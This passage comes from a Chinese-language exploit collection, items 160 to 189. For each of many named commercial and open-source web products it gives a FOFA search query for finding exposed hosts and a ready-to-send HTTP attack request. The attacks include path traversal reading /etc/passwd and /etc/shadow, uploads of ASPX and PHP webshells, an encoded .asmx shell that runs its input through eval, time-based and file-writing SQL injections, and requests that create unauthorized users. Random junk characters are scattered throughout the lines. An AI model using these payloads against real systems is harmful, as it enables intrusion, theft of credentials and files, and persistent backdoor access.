2 x1 I: U: R4 d# }( H, |<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
" Q7 B) n/ q7 O+ }* D# J( {( a</jobUpload>
</soap:Body>
$ ~  i: Y7 _7 o) y! u. w3 T; {9 S. o</soap:Envelope>


& J/ J! s6 W! Z% B) [/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")

2 k: e) D$ g+ P6 c% o
8 D5 I) {1 r* u5 u  u! x) }160. Sonatype Nexus Repository 3目录遍历与文件读取
0 [. s* _+ M0 I( u3 N! N6 ^- y( jCVE-2024-4956
FOFA：title="Nexus Repository Manager"
) h0 J0 ?% {3 ~, xGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
/ M9 q8 T' W( y% l; b7 Y' h1 \+ @Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
/ c7 P0 O' h8 L9 J. ^2 lConnection: close
" L0 [& t8 o- Y& mAccept: */*
Accept-Language: en
" ^0 I/ J. c4 n; J: mAccept-Encoding: gzip
' Q$ i" r5 y1 H8 w8 G

161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
8 d* g2 K0 e! B3 N; M& G8 ]第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
! _2 L# |4 ^& p. fConnection: close
Content-Length: 445
Content-Type: text/xml
' s, I! z1 I% @0 Y/ [  A# G1 Q7 dAccept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
- i' p8 a6 S# _& `2 \http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
8 c; C  M2 p8 M' ?6 G6 \<soap:Body>
8 i! n1 h" h" O+ a: t9 x# {<UploadResume xmlns="http://tempuri.org/">
2 ^8 {6 L2 {* R# G! d' n$ @3 O% }<ip>1</ip>
' W; V5 q5 q% j( w5 }$ }& C<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
</UploadResume>
</soap:Body>
5 I( C# c5 m+ i% E7 a1 d</soap:Envelope>
' U* G0 B- t$ Q' ?3 Y# x

' {0 ~1 K! Y8 ~7 v. q* `: @/ whttp://x.x.x.x/dizxdell.aspx
0 U9 m/ U  g; m6 ~) A3 b: t( Z  z; d: @
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
. l7 g. R! z& x: ]/ JPOST /QH.aspx HTTP/1.1
Host: x.x.x.x
! Z" C8 P( e: F% ^. NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
: r9 ~; A, f3 k0 |Connection: close
Content-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
; O# v! E/ ^& t3 u$ A8 w2 Q$ D3 ]$ D& wAccept-Encoding: gzip

) V8 @4 ~' C3 U: M------WebKitFormBoundaryeegvclmyurlotuey
* E/ B/ m% s* s4 f2 TContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
& _2 w. E1 S" f4 }: r; W2 PContent-Type: application/octet-stream

<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"

8 e+ d7 N5 ?" k9 J7 e% Tupload
% B3 R, h1 k" x- W. ^------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"

: m# ]" I, V1 k4 g2 t3 |9 SResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"
, A4 V& j+ i9 _
3 J6 n3 B6 L" E8 p/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--


http://x.x.x.x/opt/resources/kjuhitjgk.aspx
9 S  _5 J$ {' \3 r; ?7 G
5 C+ `* T* D4 Z8 a0 ~! p3 b163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
+ ^. `, k  i8 u6 u* M+ HFOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
( [" [! J% t, _Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 293
9 X6 P' ~( h. k1 \2 O. t0 i- |, VAccept: */*
' k2 P. [3 p8 ^0 U9 y% p; M: K7 AAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

7 p4 |2 u8 O1 j------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"

1.php
8 c- x! ?; v4 H6 N" \/ E4 S------iiqvnofupvhdyrcoqyuujyetjvqgocod
0 B( U, J4 l. w( |7 @, ]( `& r5 yContent-Disposition: form-data; name="upfile"; filename="1.php"
( ?/ s3 y6 S4 ~: BContent-Type: image/jpeg
- t+ n+ m' D7 G2 }6 @) Q9 d
rvjhvbhwwuooyiioxega
* m! G1 h. C. o6 f2 s------iiqvnofupvhdyrcoqyuujyetjvqgocod--


- p' d! W0 k& s( m( e/ b164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
% E. R" R0 R3 B+ o+ X- I8 Z$ bFOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
" t" f4 O. R; E! C. O' Q: v2 oHost: x.x.x.x
' s) u3 A& l& @: P6 EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
  U, R: g( v3 B5 I) hAccept: application/json, text/javascript, */*; q=0.01
# z9 P8 N2 n4 r& f: R9 EAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
: }- L& H9 R7 oContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
' V) j) ^& }7 Y3 ]# lAccept-Encoding: gzip
+ q, k7 D2 b) L- s
------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
: b, b  [' Q+ c7 AContent-Type: image/jpeg

. |& D/ K( v$ d  ?+ L9 r( Z<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--
3 A' I$ H2 k4 l' G' Y9 E# x1 M; w
5 t$ o6 h' J) p. H
http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

165. OrangeHRM 3.3.3 SQL 注入
% l/ \- k" q9 [# X$ yCVE-2024-36428
- R, [1 Y- z6 R' PFOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))


166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
Pragma: no-cache
- I+ L  H9 m# P! g8 ~7 M0 ?7 W" u& h6 lCache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
6 y5 E  W, O' B" u% mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
% M- v7 h+ K1 g' R" H% l; R% eAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
: T/ k( D4 c/ \Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89

Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE

, J9 _& n2 x! e) F; ~
167. 精益价值管理系统 DownLoad.aspx任意文件读取
$ g- @3 A  [, {& cFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
' [: E4 W4 }9 n+ S1 o- gGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
9 a! C4 V+ }/ ?9 f5 U4 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
! V; W2 P/ `7 {% Q7 \4 f6 FAccept-Encoding: gzip, deflate
Accept: */*
- V" F$ s+ F- F# [Connection: keep-alive
. C7 E, h  G7 N$ L; `
: j( G3 S5 H* D* s( D
% Y; k( H/ b- @' Y/ ^, i' o- p168. 宏景EHR OutputCode 任意文件读取
8 ~) R0 C& j- O, V6 Q0 PFOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
+ m( U* S, t) n5 o( A2 D- t" gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
- I8 J8 s( A0 o2 BContent-Type: application/x-www-form-urlencoded
Connection: close
9 q9 W' }' r3 E. O8 O2 ^3 A


  j& r  y5 a" b169. 宏景EHR downlawbase SQL注入
! |$ ~# b4 m! h& e( @FOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
2 J1 u' u0 e8 x4 |( _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
* F' P# A' M' e0 j4 o& ~, o; j" yAccept-Encoding: gzip, deflate
Connection: close


6 R, Y9 y* U" o. q$ V/ E1 b& }
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
; _  y/ N$ X* T. v& OFOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
3 b' r% n1 C' W+ x) x0 }. OHost: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
) H: Y- o# F( _" R( J, vContent-Type: application/x-www-form-urlencoded

6 u1 Q" B2 Q, }7 C% F$ [filename=../webapps/ROOT/WEB-INF/web.xml
% J5 N4 H0 m3 f6 D; S" s
4 R1 y$ p" o$ [) |% R# L: [. @
171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
7 x6 f' b2 }0 @Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
) L4 h2 Z  H# h$ W7 l6 {7 rAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 @, |% g6 l6 uAccept-Encoding: gzip, deflate
Connection: close

* H' k- }( P) P8 e" {

172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
) g3 F# r: z8 AHost: your-ip
! \9 }/ U4 }1 Q' t& LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
, G3 e) }5 i' N0 E0 bAccept-Encoding: gzip, deflate
0 S, _. u) m2 W  {) f9 IAccept: */*
Connection: keep-alive
3 a( {0 @# u2 F7 T) v
4 O5 X8 ^* \4 s2 I

4 T" X. j9 s5 q+ m9 H. y173. Check Point 安全网关任意文件读取
2 @6 k1 t/ Y7 lCVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
3 y8 @0 ~; o- K, E5 `9 C: g3 dHost: your-ip
% ?! K& \; z0 lContent-Type: application/x-www-form-urlencoded
, d( h9 G  y) M; V
* p4 A2 i# V4 |aCSHELL/../../../../../../../etc/shadow


+ N2 o1 ^- O* j. [, L% V& N4 B
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
2 p# O9 ^5 m  e1 L7 E6 g; qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
! B- y2 P+ R$ F; u* ^


175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
2 e, o' @+ z) o6 e" NHost:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
6 g% I8 V  `: D7 J) W/ s6 SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( J( y4 c  M% z+ n/ `7 q' q& E5 IAccept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

1 Y+ ]0 T: ~9 w* k! c) [
/ Z# Y/ T* S: L% B) r* {176. 电信网关配置管理系统 rewrite.php 文件上传
+ t( O. F9 p& z0 HFOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
2 A! ?3 F2 V8 g. a" YHost: your-ip
5 @2 ]' q3 h/ K# ^  d- v1 JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close

# |. M' o+ r( u0 Z9 _' d# H/ v------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"
+ m  }2 \% ]) e; x/ b
% C: b) [* l8 x, ~% B7 b8 m  R
  v. ~2 k- q: ?------WebKitFormBoundaryOKldnDPT--
0 i8 E! m2 ~8 u+ g
' ?- T7 k* w& @9 o
! h3 H# Y$ d4 k
6 d% p7 ~; D4 c6 a& ^, J) K6 B2 `) d7 `177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
2 O6 ^! M: f0 ~# S9 Y+ m. g/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
  c+ F5 Y: _; v8 ~/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
7 l0 @$ J8 }8 v- |) D; R/ m: `/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
; q$ |( X* r0 n" F: \/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
4 a0 E0 u' G& j8 t: j8 o/userLogin.asp/../actionpolicy_status/../ER5200.cfg
9 f9 }, d/ r& ^/ e9 {0 @. m/userLogin.asp/../actionpolicy_status/../ER5100.cfg
0 V+ }/ g0 I6 s! J+ r& S9 n/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
! i  @4 t, q' U9 F4 T, B5 P1 A/userLogin.asp/../actionpolicy_status/../ER3200.cfg
& p" W" ^/ ?$ g  q% R3 c( Q4 U$ e/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
4 d5 P6 g0 Q; W' k. O: s. \4 m, X/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg


178. H3C校园网自助服务系统-flexfileupload-任意文件上传
8 T# O; U7 A  `+ PFOFA：header="/selfservice"
# P) g* S- q- `/ O1 yPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
& o* {6 b/ @7 ?  g5 ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
Accept-Encoding: gzip, deflate
; D/ l( g0 F; C. Y$ \3 sConnection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
* `+ y/ p3 _: B/ _( P, x- ~# AContent-Disposition: form-data; name="12234.txt"; filename="12234"
3 l8 ?' f, R% u6 m, h; AContent-Type: application/octet-stream
. E. z4 c5 B6 }& d# ]. ]3 N8 M. S9 kContent-Length: 255

0 ]1 B6 u* K, y* O1 c6 A  y7 s12234
-----------------aqutkea7vvanpqy3rh2l--


1 F4 `  G' m7 L  J% nGET /imc/primepush/%2e%2e/flex/12234.txt


% i" b" ?' G) @# K179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
6 Y9 h, ?. P/ I1 q% k& J3 _Host: {{Hostname}}
5 v9 C. ]* p% S# z7 [6 hContent-Type: application/x-www-form-urlencoded
; p( C3 I! G/ I0 _( RUser-Agent: Mozilla/5.0
# n+ {4 C& ]0 B
5 y( S5 t7 o1 x% \* T$ ]0 epath=../log4net.config&Name=


0 e5 k: C% c- O6 n+ z$ q4 R180. 帮管客 CRM jiliyu SQL注入
+ V4 F3 f: i) B( c6 R9 vFOFA：app="帮管客-CRM"
3 i: I5 A) |; y2 |GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
# O1 f; Y) P( u' |! bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
  J; Z* q% W6 r1 X; a% [/ tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- |* ]5 w' ~( }9 t2 {" NAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
" X" q8 s' C3 J6 PConnection: close
" s- ]/ E1 G9 ^2 C

" L6 F* M0 j" L( k& s/ W181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
2 a9 B3 \# g! @5 A8 ~FOFA："PDCA/js/_publicCom.js"
# g( S$ H& E# \* o* l: W6 oPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
9 P% a6 U; t2 a+ V/ O' A/ DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
: S8 C" X7 N. ?  k! D% d1 Q& tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: k  S7 i7 \, m# TAccept-Encoding: gzip, deflate, br
9 X& ]2 W1 w) @; CAccept-Language: zh-CN,zh;q=0.9
! x& P4 M  f" sConnection: close
Content-Type: application/x-www-form-urlencoded
  v3 P; x8 x9 N- A

action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
) J+ |8 Y. o& |5 B, c! `$ S, A
: N7 \; B* }" F: u& g7 u
( e: g) e' }4 P" @  E+ [# g. D  r182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
; b( ]; i' i& J4 t# h2 {, kFOFA："PDCA/js/_publicCom.js"
# F( m/ Y; v/ S* V  ZPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
0 a5 C0 I% t! O. G6 P% y8 |& QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
2 k$ |( a+ m* z( B8 i) GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& Z. t/ ~0 A& e. cAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
: l- z) }% Z4 f1 EConnection: close
Content-Type: application/x-www-form-urlencoded
5 j6 Q9 y2 u0 q2 A' j* S
# Y# N; R8 u2 l* `" O
username=test1234&pwd=test1234&savedays=1
* [0 m- h# ~$ G. P# X: C

183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
$ T3 W( r- c2 L: ~8 j& yFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
+ h2 A2 U" t5 T$ yHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
* Z: a& K1 M6 qAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

/ d0 U( \. N8 ?$ `6 k
+ w1 o: ]6 _! U3 S4 g184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
Host: your-ip
/ ?7 ]  s3 Z& i' zAccept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
) U3 O" o3 d4 r6 gContent-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
+ _2 ?# k# h3 Q3 s
: W8 v: T1 t" Y2 M9 L& X, L. ?
insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
! q2 I4 H* b  ~3 F; l9 e

& ?( F7 ]/ J0 z/ |8 G185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
/ t9 {  G. e5 n  a  G$ K5 UFOFA：app="REALOR-天翼应用虚拟化系统"
- {! C  F1 g; e6 e& ?6 YGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host
0 b9 u2 P0 P" T3 f4 y8 x8 u# F

186. F-logic DataCube3 SQL注入
( Y3 D2 i7 u, |$ Y2 jCVE-2024-31750
$ @3 @" o' d- r- u. A+ j9 yF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
7 s4 Z/ I) Z% I# L' zPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
$ V. u1 f2 ?/ c) yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
- T+ `/ Q$ k  y( BConnection: close
9 @1 J* B& X' z# O' QContent-Type: application/x-www-form-urlencoded

" O) O1 \; r- H7 g4 J3 c$ Qreq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
' `8 u% m2 T+ k: _- d1 |9 d
5 Z0 b/ ^! H& `* v7 o3 ?) g
, g1 d/ w' L8 w& X, \( F% G. I, M$ `187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
$ ~$ Z" ^4 t( X4 {FOFA："Mura CMS"
5 Y" b- U5 q" R# b; N2 S8 `8 uPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
+ |( k; P# w/ }) _. S6 ]1 ~7 p7 qHost: your-ip
0 C# w0 P$ W) r, O/ ~5 P5 GContent-Type: application/x-www-form-urlencoded
# t, T8 ^+ _& L4 v- M
0 p7 a3 f1 H& s1 Q0 \
( c5 S7 {: W& eobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1


188. 叁体-佳会视频会议 attachment 任意文件读取
/ I0 E/ x9 ~; B+ Zversion <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
/ X. @. U  z) O+ ?, i. PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* v1 N) y. Z. _Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
7 I" @0 Y0 J5 p7 [) _; |

; ?; @1 ?6 H5 |2 O- s, Q8 y$ j+ U189. 蓝网科技临床浏览系统 deleteStudy SQL注入
: ]' M7 T# F" C! B# Q' l& jFOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
# s3 E3 Q2 y2 oHost: your-ip
9 @  d) B( t$ {+ N7 V3 }4 K" C& xUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
